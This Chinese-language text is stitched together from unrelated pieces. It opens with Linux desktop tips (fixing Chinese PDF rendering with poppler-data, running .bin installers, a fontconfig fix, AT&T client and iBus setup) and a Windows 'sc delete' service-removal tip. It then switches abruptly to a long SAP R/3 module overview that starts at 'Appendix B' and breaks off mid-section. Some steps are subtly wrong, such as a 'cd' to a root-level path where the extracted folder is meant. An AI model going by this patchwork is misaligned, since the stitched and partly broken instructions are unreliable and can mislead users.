安装Linux后PDF阅读器默认的也会在系统里面。不过有时对中文的支持有点儿问题——即使安装时系统语言选择的是中文也是一样。
论坛有朋友提示，要安装sudo apt-get install xpdf-chinese-simplified来解决。但是至少在我的电脑上似乎没有什么反应（我想应该也不会只我一人会这样吧）。
今天看到红联上有个朋友发帖问同样的问题，然后根据某位朋友的回复找到了解决这一问题的办法：
1.在下载poppler-data http://poppler.freedesktop.org/poppler-data-0.1.tar.gz，解压（Poppler is a PDF rendering library based on the xpdf-3.0 code base. ）
2.在终端执行：cd /poppler-data-0.1
3.再输入：sudo make install datadir=/usr/share
ok
扩展名为.bin文件是二进制的，它也是源程序经编译后得到的机器语言。有一些软件可以发布为以.bin为后缀的安装包，例如，AdobeAIRInstaller.bin。
下面以安装AdobeAIRInstaller.bin为例：
进入.bin文件所在的目录，给当前用户增加对.bin文件运行的权限:
chmod u+x AdobeAIRInstaller.bin
安装：
./AdobeAIRInstaller.bin
注AdobeAIRInstaller.bin文件已在终端要的目录中，否则要加文件地址。
如果出现flash乱码现象，可以用以下两条命令解决：
执行
sudo cp /etc/fonts/conf.d/49-sansserif.conf /etc/fonts/conf.d/49-sansserif.conf.20090510.bak
sudo rm /etc/fonts/conf.d/49-sansserif.conf
1.Download the client
http://www.attnetclient.com/forum/download/file.php?id=295
2.Install tcl
sudo apt-get install tcl8.5
3.Unzip the agnclient_10_201_3000_1_1_i386.zip
4.Install the client
sudo dpkg -i agnclient_1.0~2.0.1.3000-1.1_i386.deb
sudo apt-get -f install
1、scim输入法和字体
sudo aptitude purge ~nscim
sudo aptitude install language-support-fonts-zh
2、然后检查源的配置：
sudo gedit /etc/apt/sources.list
3、在软件源中添加：
deb http://ppa.launchpad.net/ibus-dev/ppa/ubuntu jaunty main
4、 在命令行安装：
sudo apt-get update
sudo apt-get install ibus-pinyin
5、如果是第一次安装iBus，那么需要设置一下系统的默认输入法：
sudo im-switch -c
6、重启电脑
7、在系统提示栏的iBus图标上单击右键，选择“首选项->输入法”，添加拼音输入法和其它所需的输入法
在Windows中，有一类程序称为服务，在操作系统内核加载完成后就开始加载。这里程序往往运行在操作系统的底层，因此资源占用比较大、执行效率比较 高，比较有代表性的就是杀毒软件。但是一旦因为特殊原因不能正确卸载这些程序了，其加载在Windows内的服务就不容易删除了。即便是删除注册表中的相 应项目，虽然不启动了，但是系统中仍然存在此项服务，只是没有加载而已。如果安装其他的程序需要操作对应的地方的时候就容易出现兼容性问题了。那么如何彻 底的卸载也就是把服务也卸载掉呢？ 网上虽然有很多这类工具，但是都没有说具体实现方法。作为电脑爱好者，我们还是应该探索其原理与究竟。皇天不负有心人啊！终于让我找到了卸载Windows服务的方法了。这次经历再次印证了，什么秘诀什么技巧，都不如微软家里的东西好。闲话少说，进入正题！
事情缘由以前曾经有朋友瑞星用盗版，后来被封号了。不幸的是他自己来自己当初那个盗版号都不知道了。这下可好，瑞星的程序设计，不但安装时要求 用激活码，连卸载的时候都要。这下惨了，朋友都卸载不掉瑞星了，一个杀毒软件安装，除了常见的注册表项目之外，还有更多的痕迹——服务！可以说杀毒软件比 谁都流氓，基本上是请神容易送神难。当初怎么想都想不出怎么卸载瑞星，虽然可以通过很多种方式删除文件、停止服务、删除注册表项目。
但是说到底，就是没有卸载掉。况且谁知道作为Windows服务，到底在什么地方残留了东西呢？
结果今天用免安装版的MySQL的时候，却意外地发现了操作windows服务的方法。如下：
在命令行模式下输入 sc,看到了吧,一大堆命令
语法：sc create | delete | config 服务名 [参数]
主要参数列表：
start= demand|boot|system|auto|disabled|delayed-auto //启动类型
binPath= BinaryPathName //可执行文件路径
depend= 依存关系(以 / (斜杠) 分隔)
DisplayName= <显示名称> //屏幕显示名称
作用依次是：新建、移除、重配置服务。
例如：重新配置服务mysql的执行路径的方法是：
sc config mysql binPath= "新路径"
再如：卸载一名为"RTPGService"的服务：
sc delete RTPGService
附录B财务会计（FI）
附录B.1总分类帐
会计科目表
总分类帐会计核算所使用的会计科目表既可以用于单个的公司，也可以运用于整个集团公司。如果SAP的系统必须同时满足跨国公司和特定国家的法规的要求，用户可以分别定义会计科目表，保证财会方面的功能。SAP提供的样板会计科目表可以使用户方便地实现这方面的功能。当然，用户也可以重新创建一个(或多个)会计科目表。
货币
为了满足许多国家对货币的法规的要求，SAP系统允许用户同时用多达三种货币作为记帐和结算的本位币。所有的业务处理均能以记本位币、集团公司货币以及客户自定义的硬通货记入帐本。
R/3系统提供了自动处理有关外币评估、信息分类以及应收帐款到期处理的功能。这些将对用户的月末和年终结算有很大帮助。
资产负债表
SAPR/3财会子系统可以根据不同的类型，维护不同的资产负债表：
l 科目余额清单
l 资金流的分析表
l 结算日期的资产负债表
l 年度财务报表
系统甚至允许客户向外界如银行和新闻界提供适当的关于企业运作状况的信息。在后勤和人力资源管理子系统发生的与财务相关的业务也会实时地更新有关记录。在后勤子系统记录的业务处理会自动地记入财会系统，如果有必要，也能记入管理会计系统。这就保证了在后勤子系统发生的诸如收到货物和销售产品这样一些业务，能够同时反映到财会系统中，有效地保证了数据的一致性。同样地，诸如工资、奖金等业务也会得到同样的处理。
明细分类帐
除了能够将后勤子系统与财会子系统集成之外，在财会子系统内，总分类帐同样能够与明细分类帐紧密连接。所有与明细分类帐中借方和贷方科目(包括固定资产模块)有关的业务，均会同时反映到总分类帐和资产负债表上。因此，明细分类帐与总分类帐之间总是一致的。
合并财务报表
与单独的企业财务报表相比，合并财务报表已经显得日益重要。
SAP系统允许客户能够选择多种方式来对集团公司下属的各个子公司的业绩进行评估。
集团公司的合并资产负债表不是简单地将子公司的资产负债表进行简单地相加而得。合并资产负债表应当反映对资产、应收帐款、债务、利润和销售收入进行重新分类、评估和合并。
附录B.2法定合并
与财务会计和固定资产系统的集成，数据可以直接从各个财务报表中汇总过来，这就使法定合并的业务处理大为简化，此外，还可以减少因为不同的软件的使用而造成的数据转移中带来的错误。
除了法定合并以外，SAP系统允许用户在计划值的基础上经常地结算和作合并会计报表，另外，用户还可以对不同的业务领域自行定义报表。
附录B.3应付帐款
SAPR/3财会子系统的应付帐款模块对所有供应商的财会数据进行管理。它是与采购模块集成的一个部分，也是销售与分销模块中关于发货、发票和付款数据的来源。
包括折扣在内的付款功能可以用正规的书面形式和电子数据交换媒介(如EDIFACT,EDI)来处理。系统支持所有国际支付方式。为检索未清项，系统提供帐户分析、逾期分析、以及风险分摊的功能。
在应付收帐款模块中，余额审计线索、帐户清单和凭证日记帐记录下所有的业务处理。
附录B.4应收帐款
应收帐款模块是在SAPR/3财会子系统中对客户帐户进行监测与控制的模块。
在此模块中，帐户分析、示警报告、逾期清单以及灵活的催款功能，都使用户可以方便地处理客户未清项。而信函功能能适合任何企业的要求，可以用于付款通知书、对帐单和帐户清单。
在收款时，用户既可以用简便的直接输入方式，也可以使用自动数据传输方式。
同销售与分销模块、现金管理模块以及在损益表中的客户特定的功能之间的接口，为所有业务处理提供更多的信息。此外，SAP的信贷管理、流动资金计划以及利润核算功能也能提供实时的和一致化的数据。
附录B.5特殊分类帐
SAPR/3财会子系统的特殊分类帐模块为特定的客户提供了特殊的计算功能。在此模块中，一个分类帐可以通过对科目的特殊设置(如成本中心、产品等)，获得不同的视角来反映科目的余额。它能满足不同的厂商对报表的要求。用户可以对每一个分类帐进行计划、分配和货币转换处理。当实际业务发生时，这些特殊分类帐也能自动地更新。
附录C管理会计（CO）
附录C.1成本中心会计
R/3成本中心会计核算帮助用户确定在企业的何处将生成何种成本，并将成本分配给产生该成本的部门。此类型的记录和分配不仅能够进行成本控制，它也能作为其他管理会计核算部门（例如成本对象控制）作准备。
附录C.2基于业务活动的成本核算(CO-ABC)
基于作业的成本核算是一种测定业务过程和成本对象的成本和完成量的方法。ABC根据业务处理过程中使用资源的情况来分配成本。业务处理过程中发生的成本根据这些过程的使用情况来分配到成本对象中(例如产品、服务。顾客。定单等)。
ABC认识成本驱动器和业务处理过程之间的偶然关系。
附录C.3订单和项目会计管理
在管理过程中必须单独监控的大量投资支出测算可以内部定单或项目的方式来表示。SAP定单和项目系统的功能可用于各种投资支出测算，这些功能包括：
l 资源与成本计划功能，可与用户的材料管理与生产能力计划系统全面集成。
l 广泛的选项功能，用于监控实际成本、计划成本、原价及次级成本。
l 未清项目管理功能。用于管理采购定单、采购需求、材料及资金储备。
SAPR/3系统内部定单模块中，其重点是成本分析和结算。CO定单的首要目标为下列各项：
成本控制：
收取成本
成本结构的确定
计划/实际成本的比较以及变量的显示
制定决策工具：
备选的成本核算
成本分析（报表列、行项目、每月/每季指标、未清项、数量和值）
向目标对象的作业分配和结算：
定单
项目
成本中心
网络（操作）
资产
获利能力段
客户定单
总帐科目
成本对象
项目系统（PS）可使用户控制广泛的项目层次结构。它可向每个项目要素，甚至可与网络相连，分摊预算、成本、期限和能力。
附录C.4产品成本核算(CO-PC)
R/3生产成本管理会计支持下列成本会计核算程序：
l 一般附加费
l 统计标准成本核算
l 基于边际成本的灵活的标准成本核算
此外，该系统也为无形产品和服务生产中的生产成本管理会计提供一个简单的成本评估程序。
R/3系统管理会计模块的生产成本核算程序考虑不同的企业类型和成本会计核算程序。
在R/3系统中，生产成本管理会计与其后勤模块紧密地连接。例如，在销售订单相关的生产中，SD模块中的销售订单也用做成本对象，在成本对象中，成本和销售收入进行比较。物料单和源于数量结构的PP模块中的工作程序用于生产成本核算。基于包含在MM物料主记录中的价格评估物料构成。基于成本中心会计核算中的预计作业价格评估服务。数量及价值流也被集成以便后勤模块中的每次数量移动也能通过实时的成本核算影响相关成本对象中的实际成本。
附录C.5获利分析(CO-PA)
SAPR/3的获利分析(CO-PA)可以满足及时的获利分析及销售管理的各种需求。CO-PA可以使您从业务的各个方面(比如产品、客户、定单和它们的任意组合)及任何组织单元(比如销售组织或业务领域)对它们的毛贡献或对经营利润的总体贡献进行分析。
关于获利情况的信息构成了定价、选择客户、决定合同条款、控制数量、选择分销渠道及促销的决策依据。
附录C.6利润中心会计(EC-PCA)
利润中心会计支持面向销售的销售成本会计方法和基于期间会计方法的分析。
利润中心会计的主要目的是确定利润中心的经营利润。R/3可使您按期间会计方法和销售成本会计方法反映利润。此外，通过把资产负债表行项转入利润中心会计，您还可以按利润中心显示其它关键指标(投资收益率、流动资产、现金流量等)。
这可以为管理层提供重要的、战略性的计划信息，并提供可靠的数据以支持对公司未来至关重要的投资决策过程。
利用标准软件可以极大地改进成本/收益比率，这一点是勿容质疑的。获利分析(CO-PA)和利润中心会计(EC-PCA)通过为您提供以下功能使您获得竞争优势，从而节省时间和金钱：
l 及时获得信息从而尽早洞察获利性趋势
l 缩短决策所需的响应时间
l 提供满足各公司不同需求的报表以缩短查询时间
l 精确的汇总信息有助于避免错误决策
l 通过提供标准的数据结构和用户界面改进全公司范围内的通讯和用户认可状况
附录D销售和分销系统（SD）
附录D.1销售支持(CAS)
R/3销售支持部件可帮助理你的销售和市场部门在对现有的客户提供支持的同时发展新的业务。销售支持将提供一个环境，使得所有的销售人员，包括现场销售人员和办事处的职员，都能提供和存取有关客户、潜在客户、竞争对手及其产品、联系人等方面的有价值的信息。销售支持部件的功能是既作为有关销售和分销的各方面信息的源，又作为获取业务的起动力。
使用R/3销售支持中的工具在销售支持环境中，你不但可以创建直接邮寄去发展新的业务，而且能巩固已有的客户群。在已存入系统的销售信息的基础上，你可以创建有关客户和潜在客户的地址清单，他们是你发动的直接邮寄攻势的目标。有关客户、潜在客户，竞争者以及其产品和销售物料方面的背景信息是作为主数据来存储的。
R/3 SD的销售支持要素为客户服务和你的销售及市场人员的商业活动提供了工具和处理手段。SD模块中的这一部分紧密地与SD的销售、发货和开票功能连接在一起，用以提供日常商业事务的附加的必要手段。销售支持使售前功能得以简化和自动化，使人们摆脱了重要但很繁重的日常工作。
售前支持将帮助提供对现有客户的服务，而这些客户也将有助于新的商业发展。使用SD中的销售支持，结合现场销售人员和其它职员能有助于掌握有价值的信息；这些信息将涉及客户、销售项目、竞争对手和他们的产品，以及合同。销售支持具有作为SD的信息资源和作为一种获取新的商业动力的功能。
销售支持功能将使现场销售人员的工作纳入到组织的信息流中。SD能快速地作出由销售人员收集来的市场信息，这些信息将为销售处的办事人员所用。通过R/3SD可获取的通信媒体包括：
l 使用笔记本电脑或其他工作站与R/3SD连接
l 使用移动电话系统和笔记本电脑与R/3SD连接
l 使用R/3系统的部件R/Mail进行信息传送
l 通过电信服务实现连接，诸如EDI或传真
l 打印的文件
附录D.2销售信息系统(SIS)
SD的最重要工具之一就是销售信息系统。这个实时数据的共用库能方便地为你提供客户一种更高档次的服务，给你一个竞争的优势。精确的、实时的数据也意味着你的商业活动在效益上将有显著地提高。在SD中所有的销售、发货和开票处理提供的信息将通过中央R/3SD销售信息系统输入到销售支持中。这将包括销售的一揽表和销售订单的统计资料。
销售信息系统能提供广泛的功能用于制定有关销售信息的报表。这些报表能协助你制定销售和商贸策略以及分析计划的结果。例如，通过销售处和销售组你可以制定出一个有关收到的订单的详细报表。你还能够为专项客户着手一份有关全部公开销售活动的清单，而且能检查各个销售订单的历史。
附录D.3销售
R/3SD中销售功能的突出特点为:
l SD的订单输入和配置能力被一家独立的咨询公司评为“最佳等级”。
l SD的定价能力也被一家独立的咨询公司评为“世界级”。
l 在最大限度地扩大你成功的机会中，与其它R/3系统模块集成SD销售功能，将使每一销售作业阶段的数据输入工作量减至最少。
l 先进的信贷管理能力可使你的销售风险减至最小。
l 精细的定价可以保持你工作的灵活性和竞争性。
任何大组织的销售与分销门都要开展广泛的销售活动，而每一项活动都包含了大量自身的的各种变化因素。这些活动从处理报价申请（RFQS）、报价单和销售订单到定价、信贷和产品可用性。这项工作中任何一步稍有疏忽都可能造成订单的丧失，甚至损害与良好客户的关系。
最好的情形是，上面提到的所有的活动，甚至更多的活动都进展平稳：一个过程和下一个过程可以衔接起来，数据输入减至最少而误差则被消除。在销售中，你可以通过R/3SD来实现这些过程。在增加更多的SD的能力以前，分析人员们称R/3SD具有“杰出”的订单输入结构和定价功能，现在SD功能齐全，可为你所用。
R/3SD的销售处理可以提供：
l 询价、报价和销售订单的处理和监控
l 广泛的拷贝功能可以将在订单输入中的误差和重复劳动减至最少
l 客户定义的凭证类型用于所有销售订单
l 可用性检查(ATP)
l 交货计划
l 发货点和路线确定
l 包括本国和外国货币税金确定在内的定价
l 客户信贷检查
不论你的销售简单还是复杂，SD均能满足你的需求。SD能轻易地支持大多数事务和作业。即使你的需求相当复杂，你也能很容易地将该系统为你所用。R/3SD与R/3系统的其他部分全面集成，其中包括财务会计，生产计划，服务管理，项目管理，物料管理和质量管理。这使你的SD事务可以实时工作。
附录D.4询价及报价
询价和报价文件是作为关键的售前作业的指南性文件，并且还提供用作业务信息的资料库。当客户需要有关产品和服务的信息时，你可以使用系统中的询价功能。这些文件提供有关未来客户的重要信息。当销售开始时，你可以快速地从询价或报价文件中取出信息并容易地输入到销售的文件中。同时，SD还包括了许多用于管理和监控这些文件的功能。你可分析销售之前的文件用来衡量市场的动向，分析丧失销售的原因，以及建立用于计划和战略的基础。
SD提供了用于查阅系统中询价和报价的分析工具。应用选择准则，你可以获得感兴趣的信息。
附录D.5订货
R/3SD可以帮助你处理不同的销售订单，这主要取决于特殊需求。在一个屏幕上输入带有许多项目的销售订单，或利用一份扩展的订单视图来设置一项复杂的订单时，系统能适应你的需求。
R/3SD提供了加速订单输入过程的几种工具：
l 复制功能
l 产品建议
l 面向客户的订单管理
附录D.6发货
装运是供应链中的基本环节。装运部门的主要任务是确保对用户服务和保障分销资源计划(DRP)。装运成本是后勤成本的主要部分。所以靠SAP提供的灵活装运处理，你可提高总的成本效益且变得更有竞争能力。
在SD的装运处理中，有关正常交货过程的所有决策都可用下法事先作出：
l 跟踪与用户的总协议
l 跟踪对物料的具体要求
l 对每一订单规定条件
这样做使你将装运过程合理化，使之几乎自动完成。只在需要做出决定的某种环境下才去干预它。
装运活动包括：
l 通过创建交货来开始装运过程
l 计划并监督装运过程每步工作的工作量
l 监控产品可用性，处理延期订单
l 分拣
l 包装
l 为运输计划提供目前的准确信息
l 打印并传递装运凭证
l 保障外贸要求
l 货物离开你的场地时更新信息
l 监督交货过程直到用户收到货物为止
附录D.7运输
运输是供应链中的一个基本要素。为确保装运按计划准时发放到客户所在地，有效的运输计划是必需的。运输成本在决定一个产品价格时起相当大的作用。为保持产品的价格有竞争性，使运输成本保持最小非常重要。运输的有效计划和处理能使这些成本降低。销售、分销系统的新的运输要素的目标是为运输提供基本功能：
l 运输计划和处理
l 运费计算
l 运费结算
l 客户运费计算
l 同时开出客户运费发票
l 服务机构选择功能
目前，运输功能在运输计划和处理境内、境外装运领域能够满足你的需求。你可以控制和监控整个运输处理，这个运输处理是从计划步骤直到从装运点（境外装运）或卖主地点（境内装运）分配货物到他们到达的客户地点（境外装运）或你的工厂（境内装运）。你也可以根据自己的需要提出完成运费计算和结算的功能,而且可以选择服务机构。
附录D.8发票处理
出具发票是销售和分销中的最后的活动。它支持以下功能：
发出：
- 根据货物和服务而发出的发票
- 根据相应的请求而发出的借项和贷项凭单
- 形式发票
取消出具发票事务
回扣的发出
传递过帐数据到财务会计(FI)
在SAPR/3系统中，以上所列的功能采用关于出具发票凭证执行。这些出具发票凭证覆盖了一般日常业务和特殊情形下的业务两方面的要求。
象SAPR/3系统中的销售订单处理的所有部分一样，出具发票集成在机构结构中。因此，出具发票事务可以指派给某一特定的销售机构、分销渠道和产品组。
附录D.9信贷管理
SAP R/3系统提供了强有力的信贷管理环境。通过集成，来自财务会计（FI）和销售与分销（SD）的最新信息使你能有效减少信贷风险，尽快解决信贷扣留（由于信贷原因而引起的凭证冻结），加快订单处理。信贷管理包括下列特点：
根据信贷管理的需要，可规定基于判据多样性的自动化信贷检查。你还可规定在销售和分销循环的那些临界点，应执行这些检查。
关键性的信贷状况，可通过内部电子邮件自动通知有关信贷管理人员。
信贷代表应处在这样的位置上，他能快速而准确地审查客户的信贷状况，并根据信贷政策决定是否延长信贷。
附录D.10可用性检查
按时交货对客户是至关重要的，它甚至会影响客户决定是否购买产品或相关服务。因此，R/3SD在订单输入时能自动地确定交付的进度。交货计划包括所有在货物发出前肯定要发生的活动。交货计划可以确定产品的可用日期和装载的日期。当你输入客户要求的交货日期时，SD能计算出装运活动的日期。系统可以确定出什么时候产品必须获得，什么时候进行分拣，装载，以及制定运输的计划，用以满足客户要求的交货日期。
运输计划要考虑到运送的时间和用于装运所需的运输提前期，甚至要涉及外国运输机械的情况。R/3SD也考虑了工作日历。例如在确定运输日期时，要考虑到货运代理商和其他的合伙人。
就交货和运输计划而言，该系统将确定运输时间，装货时间，分拣和包装的时间，以及运输的提前期。SD将交货处理基于若干交货截止日期而确定的，包括物料的有效日期、运输的计划日期、装载日期、发货日期和交货日期。
交货计划和可用性检查是相互依赖的。该系统利用要求的交货日期和客户的地点信息来确定货物在什么时候必须获得。如果货物不能满足所要求的交货日期获得的话，SD就用顺排计划表来寻找最早可以获得货物的日期，并计算出货物能送到客户手里的实际日期。
由于在你的组织中，销售、生产和发送状态是在不断地变化，SD在你输入销售订单时便进行一次可用性检查，以确保满足客户的需求。在发货过程中，可用性是自动重复检查的。
SD中的可用性检查可以确定是否产品能够获得，并确保按客户要求的交货日期交货。这项功能还提供有关库存水平，识别交货瓶颈，改善即时的业务处理，向MRP转送需求，以及改善客户服务。有两种形式的可用性检查：
基于ATP数量的检查：
SD根据仓库的库存量、计划供应量和需求量来计算可用性。
按计划来检查：
SD仅基于计划项目来计算可用性，而不是根据订单的数量来计算。
SD的可用性检查是灵活性的，而且可以包括许多不同的因素。你可以规定什么样的检查因素可被用于每项事务中。
这些因素包括：
l 安全库存
l 质量检查中的库存
l 运输中的库存
l 采购订单
l 计划订单
l 采购申请
l 生产订单
l 预留
l 相关需求
l 计划需求
l 销售需求
l 交货需求
SD通过使用你在主数据中所定义的那些时间，基于ATP数量的可用性检查还可考虑补货提前期，这个时间是订单或生产所需产品所要求的时间。
SD可用性检查还容许你确定是否在别的工厂中，可获得一些或全部所需产品。
在需求的传送中，销售环节将通知物料需求计划有关需要发送的货物数量。你可以应用R/3SD可用性检查来做这件事。R/3的集成性表明SD、MM和PP的应用能自动地交换实时的需求数据，需求将按单个的或汇总的需求被记录。物料管理和生产计划功能将应用来自销售的需求信息，以确定是否需要立刻开始生产，或者是否要首先采购零部件。
如果因信贷限额超标而使发货的销售订单被冻结时，需求传送也可能被冻结。这种冻结将取决于商业事务的类型。一旦冻结被手工撤消后，需求信息就可以传送。如果后来你作了更改，该系统能自动更新需求的发送。
如果交货计划和可用性检查确定货物不能按要求的日期交货时，该系统将能根据客户接受部分交货的方案作出不同程度的反应：
l R/3系统确定货物的数量，如果有，将按客户要求的交货日期交货。
l 系统确定整个交货的最早日期。
l 系统确定什么货物可以按客户要求的交送日期进行交货和必要的部分交货，直到完成整个订单数量。
由于缺乏货物可用性，订单项目按客户要求的交货日期不能得到确认时，订单项目可以应用延迟订单处理功能来加以更新。该系统可以重复检查可用性并显示目前的状况。如果所有项目现在都能被交货，你就可以处理销售订单了。你还可以使用更新功能，通过手工调整重新分配短缺产品，以满足你的最紧急的客户订单。
附录E物料管理（MM）
附录E.1采购
SAPR/3物料管理系统提供了强大和完善的采购模块功能,实现从确定采购需求,选择供应商,下采购订单,采购订单的跟踪及催货,收货及发票校对,付款等一系列涉及整个采购周期的所有活动.
在物料管理系统中，你可以为库存进行采购，也可以为直接消耗进行采购.同时你可以选择不同的采购形式,MM模块支持三种基本采购形式：
1. 使用一次性采购订单
2. 使用具有后续发出核准订单的长期合同
使用长期计划协议和供货计划表
你可以在系统中建立和维护与采购有关的物料和供应商数据,从而加强对采购的控制及优化系统中的采购程序.
这些主数据包括物料主数据.供应商主数据.采购信息记录.货源清单及配额的分配.
物料主数据包括了企业向外采购或内部生产的物料的详细信息。计量单位和物料描述是存储在物料主记录中的数据的实例。SAP后勤部分的其它模块也可以访问物料数据。
供应商主数据是关于外部供应商的信息。典型的内容有：供应商名称，供应商使用的货币和供应商编号(存储在SAP系统中作为帐户编号)。
采购信息记录记录建立了物料和供应商之间的联系，因而方便了选择报价的处理。例如，信息记录给出了用于从供应商订货的计量单位，并标注在一段时间内影响物料的供应商价格方面的变化。
货源清单规定了物料可能的供应来源。显示了可以从某一给定的供应商处订货物料的时间段。
配额分配是根据配额，规定在一定期间内物料总需求在特定的供应商之间如何进行分配.根据配额分配主数据的设定,系统可以自动完成采购任务在不同供应商之间的分配,从而简化手工分配任务.
此外,物料管理系统中的采购功能可以实现不同的采购需求方式,包括外协件的采购,寄存货物的采购,转厂的采购等,还可以实现电子化的采购审批程序,代替传统的手工化纸张审批程序,节省人力,物力及财力.
你也可以通过报价单申请及报价单的录入来完成询价及报价的全过程.
附录E.2发票校对
发票校验是物料管理(MM)系统的一部分。它提供物料管理部分和财务会计，成本控制和资产管理部分的连接。
物料管理模块的发票校验为以下目的服务：
l 它完成物料采购的全过程-物料采购从采购申请开始，接下来是采购和收货,并以收到发票而结束。
l 它允许处理不基于物料采购的发票(例如，服务费，其它花费，过程费用，等等)
l 它允许处理贷项凭证,既可以是发票的取消,也可以是打折扣.
发票校验不是对支付进行处理,也不是对发票进行分析.这些需要处理的信息被传递到其它部门.
发票校验的任务包括:
l 输入接受到的发票和贷项凭证.
l 检查发票的内容,价格和计算的准确性.
l 执行一个发票的帐目记帐
l 更新SAP系统内的一些数据,例如,未结算项目和物料价格.
l 检查那些因为与采购订单出入太大而被冻结的发票.
SAP系统的高度集成允许这些任务能够平稳和高效地进行.
附录E.3供应商评价
供应商评估功能能尽量优化采购操作，能简化选择货源过程、不断跟踪和考察现有的供应关系。
使用R/3供应商评估系统能保证更大的客观性，因为所有供货商以同一标准评估并由系统评分，尽量减少个人的主观印象影响。
评分系统:
分值为1到100分。供货商的表现用4个主要标准度量
全面的评分使采购人员了解供货商的表现并给供货商一个全面评价。
主要评估标准
标准系统中的主要评估标准为：
l 价格
l 质量
l 交货
l 服务
如果需要，最多可以定义99个评估标准。用户可以平衡每个标准在综合评估中的影响。
子标准
每个主要标准可以分为几个子标准，以便进行更详细的评估。
标准系统提供5个子标准，一般能满足评估目的。另外，用户可以定义最多20个自己的子标准。
给子标准评分
给子标准评分可有不同方法：
自动计算
半自动计算
手工输入
“自动计算”指分数根据系统中已有的数据确定。“半自动计算”指采购人员输入重要物料的分值，然后系统计算更高层的分数。“手工计算”指用户针对某个全局子标准输入某供货商的分数。
采购经理可以决定何时以更详细的基础评估，何时进行简单的处理以节省时间和费用。
分析
可以输出供货商评估结果。例如，用户可以生成按照全面分数排列的最佳供货商排列表，或提供某种物料供货商的排列表。
历史变化
评估的变化以日志形式记录，评估记录可以打印出来。
供货商评估的任务：
供货商评估功能使供货商按照同一标准排序，能自动和手工进行
此项功能通过合理和简化地挑选合适的供货商来优化采购过程
附录E.4库存管理
库存管理(IM)是MM物料管理模块的一部分，并完全地与整个后勤系统结成一体。SAP库存管理系统允许你
l 按数量和价值管理你的库存
l 计划，输入和检查货物移动
l 进行实地盘存
基于物料需求计划确定的需求，物料从外部或内部采购。交货作为收货输入到库存管理中。物料直到提交给客户（销售&分销）或用于内部（如生产）才被保存（并在库存管理中进行管理）。
在所有的业务期间，库存管理访问主数据（如物料主记录数据）和所有后勤部分共享的业务数据（如采购数据）。
与物料管理（MM）的结合
作为物料管理的一个组成部分，库存管理直接与物料需求计划，采购和发票校验相联系。
库存管理形成物料需求计划的基础，该计划不仅考虑了实际库存，而且考虑了计划的移动（需求，收货）。
当物料从供应商处订购时，库存管理将交货记录为参考采购订单的收货。供应商发票在以后通过发票校验进行处理。在这里，采购订单和收货凭证中的数量和价值被检查，以确保它们在发票中是一致的。
与生产计划（PP）的结合
库存管理与生产计划模块紧密相连：
库存管理负责生产订单所需部分的待运
在库存管理中记录仓库对产成品的接收。
与销售&分销（SD）的结合
一旦你输入一个销售订单，你可以初始化现有库存的动态可用性检查。在创建交货时，即将提交的数量被标记为“计划交货”。在记录发货时这个数量从总库存中减掉。创建销售订单库存也是可能的。
与质量管理（QM）的结合
在货物移动中，系统确定物料是否应进行检查操作。如果需要的话，在质量管理系统中为该移动初始化相应的活动。
与工厂维护（PM）的结合
库存管理与工厂维护有如下联系：
l 可以记录参考设备BOMs的货物移动。
l 可以提取一部分维护订单。
l 当序列号管理有效时，对每个货物移动输入独立的序列号。序列号在工厂维护系统中进行管理。
与后勤信息系统（LIS）的结合
利用库存控制部分，后勤信息系统提供了一个收集，压缩和评估库存管理数据的工具
R/3系统包含不同的模块。这些模块的完整结合允许公司不同的部门共享和维护同样的信息。顺利的物料流动需要这个过程的所有参加者之间有充分的交流。库存管理与R/3系统完整的结合以及和其它R/3模块的交流确保了所要求的信息流动，这些R/3模块包括例如：
财务会计（FI）
按数量和价值进行的库存管理不仅导致每个收货或发货更新物料主记录中的库存值，而且更新财务会计中相应的科目。这通过自动的科目分配来完成，系统通过这个科目分配程序确定与给定货物移动相关的科目。
控制（CO）
在物料消耗（例如当物料为不同的科目分配对象如订单或成本中心发出时）的例子中与成本会计系统的接口被激活（作为控制参考）。
当收货直接分配给成本中心或订单时，成本会计也包含其中。
资产会计（AM）
如果资产的物料从外部采购或从仓库或存储中提取，相应的货物移动分配给资产科目。在这过程中行项目在资产会计中被创建。
项目系统（PS）
物料可以为项目保留和提取。创建项目库存是可能的。
附录E.5库房管理
SAP的仓库管理系统(WM)为您进行以下工作提供了灵活、有效和自动的支持:
l 定义和管理仓库中的存储区和仓位
l 处理所有的记帐和事务,如收货，发货和一般的转储等.
l 对库存的变动情况进行监测
l 按仓位进行存储
l 确保在存储管理系统中的记帐与仓库中的实际库存情况一致
l 与材料管理系统,产品计划系统,质量管理系统和销售与分销系统的集成
利用WM系统,您可以对公司中复杂的库存结构进行管理。这种结构可包括不同的仓库中的区域（即存储类型），如在高架位闲置的存储、可用存储、冻结存储和固定的仓位提取区域等，以及生产供应、发货和收货区域等。利用WM系统，您可以同时对具有随机组织结构和具有固定仓位的仓库进行管理。
WM支持对所有相关货物移动的处理，包括由存储系统（IM）激发的收货和发货，由销售和分销（SD）系统激发的供货，以及发生在仓库内的移动，例如内部的库存转储。
在仓库管理系统中，您可以根据转储需求生成转储订单。转储订单可激发并控制仓库中货物的实际移动。
WM系统利用它在存储方面的功能，可以保证帐面存储情况和仓库中的库存情况在任何时候保持一致。由于SAP系统是高度集成的，所以您在存储管理系统和仓库管理系统之间并不需要单独的界面程序。
存储单位管理
仓库管理(WM)中的存储单位(SU)管理提供了在仓库中对物料流的存储单位进行优化管理和控制的功能.
附录F生产计划系统（PP）
附录F.1SOP销售及运作计划模块
销售和运作计划（SOP）是一个通用的计划和预测工具，你可以用它来使你的公司的经营现代化，优化公司的业务。
SOP的集成功能使你对公司的各项活动一目了然。你可以汇总不同的内部和外部的数据，作为设置现实经营目标的依据。这提供了现实检查的机会：我的业务策略是否反应我的经营能力和市场需求？这样，用SOP，你就可以采取有针对性的计划。
SOP的延展性使它适用于对任何逻辑数据进行高级的或详细的计划。弹性计划层次使你可以从几乎所有组织单位（例如，销售组织，物料组，生产工厂，产品组）的角度甚至整个企业的角度创建和查看你的数据。由于充分支持集中规划，SOP适用于销售、生产、采购，库存管理等的中长期计划。
你使用的计划表是电子表格。因此你可以大范围地进行跟踪先前计划数据、预测市场需求、运行分析，条件模拟等各种操作。
附录F.2需求管理(DM)
需求管理的功能是用来确定成品与重要部件的需求数量与交货日期。需求管理的结果就是所谓的需求大纲。
为了创建需求大纲，你必须首先定义用于计划某一产品的计划策略。该计划策略代表了用于计划与制造或者采购产品的不同的生产方法。
